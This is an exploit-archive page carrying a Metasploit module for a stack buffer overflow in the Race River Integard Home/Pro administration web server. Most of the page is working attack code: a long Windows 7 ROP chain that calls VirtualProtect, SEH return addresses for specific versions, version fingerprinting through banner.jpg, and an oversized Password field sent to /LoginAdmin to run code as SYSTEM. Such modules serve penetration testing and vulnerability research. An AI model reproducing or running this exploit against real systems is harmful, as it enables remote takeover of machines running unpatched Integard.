exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Race River Integard Home/Pro LoginAdmin Password Stack Buffer Overflow

Race River Integard Home/Pro LoginAdmin Password Stack Buffer Overflow
Posted Sep 16, 2010
Authored by Rick, corelanc0d3r, jduck, Lincoln, nullthreat, Node | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in Race river's Integard Home/Pro internet content filter HTTP Server. Versions prior to 2.0.0.9037 and 2.2.0.9037 are vulnerable. The administration web page on port 18881 is vulnerable to a remote buffer overflow attack. By sending an long character string in the password field, both the structured exception handler and the saved extended instruction pointer are over written, allowing an attacker to gain control of the application and the underlying operating system remotely. The administration website service runs with SYSTEM privileges, and automatically restarts when it crashes.

tags | exploit, remote, web, overflow
SHA-256 | d01b8d0eccb2aec11afecf3d49371c3c926e2d006a81facbb808d6626fec7fa3

Race River Integard Home/Pro LoginAdmin Password Stack Buffer Overflow

Change Mirror Download
# Exploit Title: Integard Pro 2.2.0.9026 (Win7 ROP-Code Metasploit Module)
# Date: 2010-09-15
# Author: Node
# Software Link: http://www.exploit-db.com/application/14941
# Version: Race River Integard Pro 2.2.0.9026, integard32.dll(v.2.0.0.306)
# Tested on: Windows 7 x64 Eng
# CVE : -

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking # stack bof, seh, universal ret, auto targeting

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Race River Integard Home/Pro LoginAdmin Password Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Race river's Integard Home/Pro
internet content filter HTTP Server. Versions prior to 2.0.0.9037 and 2.2.0.9037 are
vulnerable.

The administration web page on port 18881 is vulnerable to a remote buffer overflow
attack. By sending an long character string in the password field, both the structured
exception handler and the saved extended instruction pointer are over written, allowing
an attacker to gain control of the application and the underlying operating system
remotely.

The administration website service runs with SYSTEM privileges, and automatically
restarts when it crashes.
},
'Author' =>
[
'Lincoln', # original discovery
'Nullthreat',
'rick2600',
'corelanc0d3r',
'jduck', # fleshed out module from advisory
'Node' # Win7 rop-code
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 99999 $',
'References' =>
[
['OSVDB', '67909'],
['URL','http://www.corelan.be:8800/advisories.php?id=CORELAN-10-061'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x20\x26\x2f\x3d\x3f\x5c",
'StackAdjustment' => -1500,
},
'Platform' => 'win',
'Privileged' => false,
'Targets' =>
[
[ 'Automatic Targeting', { 'auto' => true }],
[ 'Integard Home 2.0.0.9021', { 'Ret' => 0x0041565E,}], # p/p/r
[ 'Integard Pro 2.2.0.9026', { 'Ret' => 0x0040362C,}], # p/p/r
[ 'Integard Pro 2.2.0.9026, integard32.dll(v.2.0.0.306) (Windows 7 x64 Eng)', { 'Win7' => true,}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 07 2010'))

register_options(
[
Opt::RPORT(18881)
], self.class )
end

def exploit

rop = [0x10010793].pack('V') # RET
rop << rand_text_alpha_upper(20)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << [0xFFB8A378].pack('V') # PUSH ESP # SUB EAX,20 # POP EBX # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x100111B7].pack('V') # ADD ESP,2C # POP ESI # POP EBP # RETN
rop << "1111" #VirtualProtect placeholder
rop << "2222" #return address placeholder
rop << "3333" #lpAddress placeholder
rop << "4444" #dwsize placeholder
rop << "5555" #flNewProtect placeholder
rop << [0x10019005].pack('V') # writable
rop << rand_text_alpha_upper(28)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << [0xFFBBA5CE].pack('V') # INC EBX # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x10010EB5].pack('V') # POP EDI # POP ESI # RETN
rop << [0x10019005].pack('V') # writable
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << [0xFFB95B6F].pack('V') # PUSH EBX # SBB BYTE PTR DS:[EDI+5E],BL # POP EBP # MOV EAX,-2 # POP EBX # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << [0xFFFFF41C].pack('V') #length to kernel32
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10010C6B].pack('V') # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100107E8].pack('V') # POP EAX # POP ESI # RETN
rop << rand_text_alpha_upper(16)
rop << [0xEFFF2E41].pack('V') # ADD EBX,EBP # RETN
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << [0xEFFF2E41].pack('V') # ADD EBX,EBP # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x10010C69].pack('V') # MOV EDX,EBX # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xEFFFA79E].pack('V') # XCHG EAX,EBP # POP ESI # POP EBP # POP EDI # POP EBX # POP ECX # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << rand_text_alpha_upper(16)
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10010C6B].pack('V') # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xFFB81B31].pack('V') # MOV EAX,EDX # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x100137AB].pack('V') # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # POP EBP # RETN
rop << rand_text_alpha_upper(8)
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10010C69].pack('V') # MOV EDX,EBX # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xFFFFFE75].pack('V') # length to VP
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10013B9D].pack('V') # MOV EAX,EBX # POP EBX # POP EBP # RETN
rop << rand_text_alpha_upper(8)
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10010C6B].pack('V') # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xFFB81B31].pack('V') # MOV EAX,EDX # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10013B9D].pack('V') # MOV EAX,EBX # POP EBX # POP EBP # RETN
rop << rand_text_alpha_upper(8)
rop << [0x1001072D].pack('V') # MOV DWORD PTR DS:[ECX],EAX # POP EBP # RET
rop << rand_text_alpha_upper(4)
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x1001072D].pack('V') # MOV DWORD PTR DS:[ECX],EAX # POP EBP # RET
rop << rand_text_alpha_upper(4)
rop << [0x10010C6B].pack('V') # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xFFFFF868].pack('V') # length to shellcode
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10010C69].pack('V') # MOV EDX,EBX # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xFFB81B31].pack('V') # MOV EAX,EDX # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x10010C69].pack('V') # MOV EDX,EBX # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0x10010798].pack('V') # ADD DWORD PTR DS:[EAX],EDX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x100137AB].pack('V') # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # POP EBP # RETN
rop << rand_text_alpha_upper(8)
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x1001072D].pack('V') # MOV DWORD PTR DS:[ECX],EAX # POP EBP # RET
rop << rand_text_alpha_upper(4)
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10010C6B].pack('V') # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xFFFFFC18].pack('V') # size (1000)
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10013B9D].pack('V') # MOV EAX,EBX # POP EBX # POP EBP # RETN
rop << rand_text_alpha_upper(8)
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x1001072D].pack('V') # MOV DWORD PTR DS:[ECX],EAX # POP EBP # RET
rop << rand_text_alpha_upper(4)
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x100114C8].pack('V') # ADD EAX,1 # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10010C6B].pack('V') # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xFFFFFFC0].pack('V') # newprotect(0x40)
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10013B9D].pack('V') # MOV EAX,EBX # POP EBX # POP EBP # RETN
rop << rand_text_alpha_upper(8)
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x1001072D].pack('V') # MOV DWORD PTR DS:[ECX],EAX # POP EBP # RET
rop << rand_text_alpha_upper(4)
rop << [0x10010C6B].pack('V') # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xFFFFFFF0].pack('V') # length to saved VP on the stack
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10013B9D].pack('V') # MOV EAX,EBX # POP EBX # POP EBP # RETN
rop << rand_text_alpha_upper(8)
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10010C6B].pack('V') # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xEFFF2818].pack('V') # XCHG EAX,ESP # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10012EC7].pack('V') # XCHG EAX,ECX # RETN
rop << [0x10010C69].pack('V') # MOV EDX,EBX # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
rop << rand_text_alpha_upper(4)
rop << [0x100106E6].pack('V') # POP ECX # RETN
rop << rand_text_alpha_upper(16)
rop << [0xFFB81B31].pack('V') # MOV EAX,EDX # RETN
rop << [0x100109B0].pack('V') # MOV EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x10010A2A].pack('V') # SUB EAX,ECX # RETN
rop << [0x1001274C].pack('V') # CALL EAX # RETN
rop << [0x10010F0B].pack('V') # CALL EBX # ...

mytarget = nil
if (target['auto'])
print_status("Automatically detecting the target...")
response = send_request_raw(
{
'uri' => '/banner.jpg',
'version' => '1.1',
'method' => 'GET'
}, 5)

case response['Content-Length'].to_i
when 24584
print_status("[!] Found Version - Integard Home")
mytarget = targets[1]
when 23196
mytarget = targets[2]
print_status("[!] Found Version - Integard Pro")
end

else
mytarget = target
end

if not mytarget
raise RuntimeError, "Unable to automatically detect the target version"
end

print_status("Selected Target: #{mytarget.name}")

print_status("Building Buffer")
pay = payload.encoded
if (target['Win7'])
buffer = rand_text_alpha_upper(832)
buffer << rop
buffer << rand_text_alpha_upper(2000 - rop.length)
buffer << pay
buffer << rand_text_alpha_upper(1000 - pay.length)
else

buffer = ''
buffer << rand_text_alpha_upper(3091 - pay.length)
buffer << pay
buffer << "\xE9\x2B\xF8\xFF\xFF"
buffer << "\xEB\xF9\x90\x90"
buffer << [mytarget.ret].pack('V')
end
print_status("Sending Request")
send_request_raw({
'uri' => '/LoginAdmin',
'version' => '1.1',
'method' => 'POST',
'headers' =>
{
'Host' => '192.168.1.1:18881',
'Content-Length' => 1074
},
'data' => "Password=" + buffer + "&Redirect=%23%23%23REDIRECT%23%23%23&NoJs=0&LoginButtonName=Login"
}, 5)

print_status("Request Sent")

handler
end
end

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close